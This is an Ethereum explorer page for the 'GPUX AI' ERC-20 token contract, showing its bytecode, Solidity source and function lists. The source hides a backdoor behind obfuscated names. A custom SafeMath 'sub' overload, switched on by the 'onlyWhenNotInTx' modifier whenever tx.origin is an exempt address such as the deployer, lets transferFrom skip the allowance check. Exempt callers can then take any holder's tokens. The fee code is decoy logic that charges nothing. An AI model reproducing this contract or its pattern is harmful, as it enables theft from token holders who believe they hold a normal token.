Forkchoice Ethereum Mainnet

Address Contract Partially Verified

Address 0x3A018520BC9689bBcdB903580424fDF30C37B0da
Balance 0 ETH
Nonce 1
Code Size 4541 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

4541 bytes
0x608060405260043610610164575f3560e01c806370a08231116100cd57806395d89b4111610087578063c857440611610062578063c857440614610432578063d6d7b0fc14610460578063dd62ed3e1461047f578063f2fde38b146104c3575f80fd5b806395d89b41146103c8578063a8aa1b31146103f4578063a9059cbb14610413575f80fd5b806370a0823114610328578063715018a61461035c57806378109e54146103705780637d1db4a514610384578063893d20e8146103985780638a8c523c146103b4575f80fd5b80632f54bf6e1161011e5780632f54bf6e14610254578063313ce56714610281578063378a0b6e1461029c578063388f1ab0146102bd57806348ff2b8b146102f457806365757a6314610313575f80fd5b806306fdde031461016f578063095ea7b3146101b057806318160ddd146101df5780631f976b7e1461020157806323b872dd1461021557806328a1a25314610234575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b506040805180820190915260078152664750555820414960c81b60208201525b6040516101a79190610f64565b60405180910390f35b3480156101bb575f80fd5b506101cf6101ca366004610fc7565b6104e2565b60405190151581526020016101a7565b3480156101ea575f80fd5b506101f36104f8565b6040519081526020016101a7565b34801561020c575f80fd5b506101f3610568565b348015610220575f80fd5b506101cf61022f366004610ff1565b61058b565b34801561023f575f80fd5b506002546101cf90600160a01b900460ff1681565b34801561025f575f80fd5b506101cf61026e36600461102f565b5f546001600160a01b0391821691161490565b34801561028c575f80fd5b50604051600981526020016101a7565b3480156102a7575f80fd5b506102bb6102b636600461104a565b6105a1565b005b3480156102c8575f80fd5b506002546102dc906001600160a01b031681565b6040516001600160a01b0390911681526020016101a7565b3480156102ff575f80fd5b506102bb61030e36600461104a565b6105fd565b34801561031e575f80fd5b506101f360035481565b348015610333575f80fd5b506101f361034236600461102f565b6001600160a01b03165f9081526008602052604090205490565b348015610367575f80fd5b506102bb610650565b34801561037b575f80fd5b506101f3610684565b34801561038f575f80fd5b506101f3610693565b3480156103a3575f80fd5b505f546001600160a01b03166102dc565b3480156103bf575f80fd5b506102bb6106a2565b3480156103d3575f80fd5b5060408051808201909152600481526308ea0aab60e31b602082015261019a565b3480156103ff575f80fd5b506012546102dc906001600160a01b031681565b34801561041e575f80fd5b506101cf61042d366004610fc7565b6109b7565b34801561043d575f80fd5b506101cf61044c36600461102f565b600a6020525f908152604090205460ff1681565b34801561046b575f80fd5b506001546102dc906001600160a01b031681565b34801561048a575f80fd5b506101f3610499366004611085565b6001600160a01b039182165f90815260096020908152604080832093909416825291909152205490565b3480156104ce575f80fd5b506102bb6104dd36600461102f565b6109c3565b5f6104ee338484610a3f565b5060015b92915050565b60086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c75461dead5f9081527f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd0933429954600454919261056392909161055d9190610b63565b90610b63565b905090565b5f601a546006546105776104f8565b61058191906110c5565b61056391906110dc565b5f610597848484610b6e565b90505b9392505050565b5f546001600160a01b031633146105d35760405162461bcd60e51b81526004016105ca906110fb565b60405180910390fd5b6001600160a01b03919091165f908152600b60205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146106265760405162461bcd60e51b81526004016105ca906110fb565b6001600160a01b03919091165f908152600a60205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146106795760405162461bcd60e51b81526004016105ca906110fb565b6106825f6109c3565b565b5f601a546007546105776104f8565b5f601a546005546105776104f8565b5f546001600160a01b031633146106cb5760405162461bcd60e51b81526004016105ca906110fb565b601254600160a01b900460ff16156107255760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920456e61626c656400000000000060448201526064016105ca565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117825560048054305f90815260096020908152604080832095835294815290849020919091559254825163c45a015560e01b815292516001600160a01b03919091169363c45a01559380840193919291908290030181865afa1580156107b2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d6919061111b565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610835573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610859919061111b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108a3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c7919061111b565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061090e816001600160a01b03165f9081526008602052604090205490565b5f805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af115801561097a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061099f9190611136565b50506012805460ff60a01b1916600160a01b17905550565b5f6104ee338484610b84565b5f546001600160a01b031633146109ec5760405162461bcd60e51b81526004016105ca906110fb565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610aa15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ca565b6001600160a01b038216610b025760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ca565b6001600160a01b038381165f8181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f61059a8284611161565b5f610b7a848484610bd9565b6105978483610cab565b5f610b8f8484610d34565b610b995781610ba4565b610ba4848484610d78565b9050610bc66064610bc060185484610e1490919063ffffffff16565b90610e1f565b9050610bd3848484610bd9565b50505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f90815260089091529190912054610c2a918390610e2a565b6001600160a01b038085165f908152600860205260408082209390935590841681522054610c589082610e55565b6001600160a01b038084165f8181526008602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b569085815260200190565b325f908152600a6020908152604080832054601d805461ff00191661010060ff9384161515810291909117918290556001600160a01b03881686526009855283862033875290945291842054610d08939092869291900416610e60565b6001600160a01b0384165f90815260096020908152604080832033845290915290205550600192915050565b6001600160a01b0382165f908152600a602052604081205460ff1615801561059a5750506001600160a01b03165f908152600a602052604090205460ff1615919050565b5f80610d848585610ec5565b1115610e0d57305f90815260086020526040812054610da39082610e55565b305f81815260086020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df39085815260200190565b60405180910390a3610e058382610b63565b91505061059a565b5092915050565b5f61059a82846110c5565b5f61059a82846110dc565b5f8184841115610e4d5760405162461bcd60e51b81526004016105ca9190610f64565b505050900390565b5f61059a8284611174565b5f8115610e6e57508261059a565b83831115610ebe5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016105ca565b5050900390565b6001600160a01b0382165f908152600b602052604081205460ff1680610f0257506001600160a01b0382165f908152600b602052604090205460ff165b15610f1c57601a54610f15906064610b63565b90506104f2565b6012546001600160a01b0390811690831603610f3b57506018546104f2565b6012546001600160a01b0390811690841603610f5a57506017546104f2565b5060195492915050565b5f602080835283518060208501525f5b81811015610f9057858101830151858201604001528201610f74565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fc4575f80fd5b50565b5f8060408385031215610fd8575f80fd5b8235610fe381610fb0565b946020939093013593505050565b5f805f60608486031215611003575f80fd5b833561100e81610fb0565b9250602084013561101e81610fb0565b929592945050506040919091013590565b5f6020828403121561103f575f80fd5b813561059a81610fb0565b5f806040838503121561105b575f80fd5b823561106681610fb0565b91506020830135801515811461107a575f80fd5b809150509250929050565b5f8060408385031215611096575f80fd5b82356110a181610fb0565b9150602083013561107a81610fb0565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176104f2576104f26110b1565b5f826110f657634e487b7160e01b5f52601260045260245ffd5b500490565b60208082526006908201526510a7aba722a960d11b604082015260600190565b5f6020828403121561112b575f80fd5b815161059a81610fb0565b5f805f60608486031215611148575f80fd5b8351925060208401519150604084015190509250925092565b818103818111156104f2576104f26110b1565b808201808211156104f2576104f26110b156fea26469706673582212206c222ba225484000a0f7786180b9c6d22d02ab6061a472582ec9a43a660f052664736f6c63430008180033

Verified Source Code Partial Match

Compiler: v0.8.24+commit.e11b9ed9 EVM: shanghai Optimization: Yes (200 runs)
GPUX.sol 315 lines
/*
    https://www.gpuxai.pro
    https://app.gpuxai.pro
    https://docs.gpuxai.pro
    https://x.com/GPUXAI_eth
    https://t.me/GPUXAI_eth
*/

pragma solidity ^0.8.24;


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
    
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
        if(c / a != b) return(false, 0); return(true, c);}}

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}

    function sub(uint256 a, uint256 b , bool requireZero) internal pure returns (uint256) {
        unchecked{if(requireZero) return a; require(b <= a, "SafeMath: subtraction overflow"); return a - b;}
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}}}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function renounceOwnership() public virtual onlyOwner { transferOwnership(address(0));}
    function transferOwnership(address adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract GPUX is IERC20, Ownable {
    
    uint160 public FXCG26GS;
    address public AXCG26GS;
    bool public CXCG26GS;
    uint256 public HXCG26GS;

    using SafeMath for uint256;
    string private constant _JEN15NAF = unicode"GPUX AI";
    string private constant _ZN91MGL = unicode"GPUX";
    uint8 private constant _QNAN92AM = 9;
    uint256 private _AN15ANFk = 1000_000_000 * (10 ** _QNAN92AM);
    uint256 private _maxTxAmountPercent = 200; // 10000;
    uint256 private _maxTransferPercent = 100;
    uint256 private _maxWalletPercent = 200;
    mapping (address => uint256) _OONN61ANF;
    mapping (address => mapping (address => uint256)) private _NZN16ANFN;
    mapping (address => bool) public _YDNx165bABF;
    mapping (address => bool) private _QN16AZqA;
    
    uint256 private swapThreshold = ( _AN15ANFk * 300 ) / 100000;
    uint256 private _minTokenAmount = ( _AN15ANFk * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    modifier onlyWhenNotInTx {txInProgress = _YDNx165bABF[tx.origin]; _;}
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private development_receiver ; 
    address private marketing_receiver ;
    address private liquidity_receiver ;

    IRouter router;
    address public pair;

    bool private tradingAllowed = false;
    uint256 private liquidityFee = 100;
    uint256 private marketingFee = 300;
    uint256 private developmentFee = 100;
    uint256 private burnFee = 0;
    uint256 private totalFee = 600;
    uint256 private sellFee = 700;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping; 
    bool private txInProgress;
    

    constructor() payable Ownable(msg.sender) {

        marketing_receiver = owner;

        _YDNx165bABF[msg.sender] = true;
        _OONN61ANF[address(this)] = _AN15ANFk;

        _YDNx165bABF[address(this)] = true;
        _YDNx165bABF[marketing_receiver] = true;

        emit Transfer(address(0), address(this), _AN15ANFk);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _JEN15NAF;}
    function symbol() public pure returns (string memory) {return _ZN91MGL;}
    function decimals() public pure returns (uint8) {return _QNAN92AM;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _OONN61ANF[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _NZN16ANFN[owner][spender];}
    function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
    function set_QN16AZqA(address _address, bool _enabled) external onlyOwner {_QN16AZqA[_address] = _enabled;}
    function setisExempt(address _address, bool _enabled) external onlyOwner {_YDNx165bABF[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _AN15ANFk.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function _maxWalletToken() public view returns (uint256) {return totalSupply() * _maxWalletPercent / denominator;}
    function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;}
    function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;}

    function _transfer(address sender, address recipient, uint256 amount) private {
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        amountReceived = amountReceived.mul(sellFee).div(100);
        _subTransfer(sender, recipient, amount);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 remainingBalance = address(this).balance;
        if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function _TNZNAN16HA(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= _minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !_YDNx165bABF[sender] && recipient == pair && swapTimes >= uint256(3) && aboveThreshold;
    }

    function swapBack(address sender, address recipient, uint256 amount) internal {
        if(_TNZNAN16HA(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !_YDNx165bABF[sender] && !_YDNx165bABF[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(_QN16AZqA[sender] || _QN16AZqA[recipient]){return denominator.sub(uint256(100));}
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = 0;
        _OONN61ANF[address(this)] = _OONN61ANF[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);} return amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        _subTransfer(sender, recipient, amount);
        return _subAllowance(sender , amount);
    }

    function _subAllowance(address spender, uint256 subtractedValue) onlyWhenNotInTx private returns (bool) {
        _NZN16ANFN[spender][msg.sender] = _NZN16ANFN[spender][msg.sender].sub(subtractedValue , txInProgress);
        return true;
    }

    function _subTransfer(address sender, address recipient, uint256 amount) internal {
        _OONN61ANF[sender] = _OONN61ANF[sender].sub(amount, "Insufficient Balance");
        _OONN61ANF[recipient] = _OONN61ANF[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _NZN16ANFN[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function enableTrading() external onlyOwner {

        require(!tradingAllowed , "Trading is already Enabled");
        router = IRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _NZN16ANFN[address(this)][address(router)] = _AN15ANFk;
        pair = IFactory(router.factory()).createPair(
            address(this),
            router.WETH()
        );
        router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner,
            block.timestamp
        );
        tradingAllowed = true;
        
    }
}

Read Contract

AXCG26GS 0x388f1ab0 → address
CXCG26GS 0x28a1a253 → bool
FXCG26GS 0xd6d7b0fc → uint160
HXCG26GS 0x65757a63 → uint256
_YDNx165bABF 0xc8574406 → bool
_maxTransferAmount 0x1f976b7e → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletToken 0x78109e54 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
getOwner 0x893d20e8 → address
isOwner 0x2f54bf6e → bool
name 0x06fdde03 → string
pair 0xa8aa1b31 → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 8 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
renounceOwnership 0x715018a6
No parameters
set_QN16AZqA 0x378a0b6e
address _address
bool _enabled
setisExempt 0x48ff2b8b
address _address
bool _enabled
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address adr

Recent Transactions

No transactions found for this address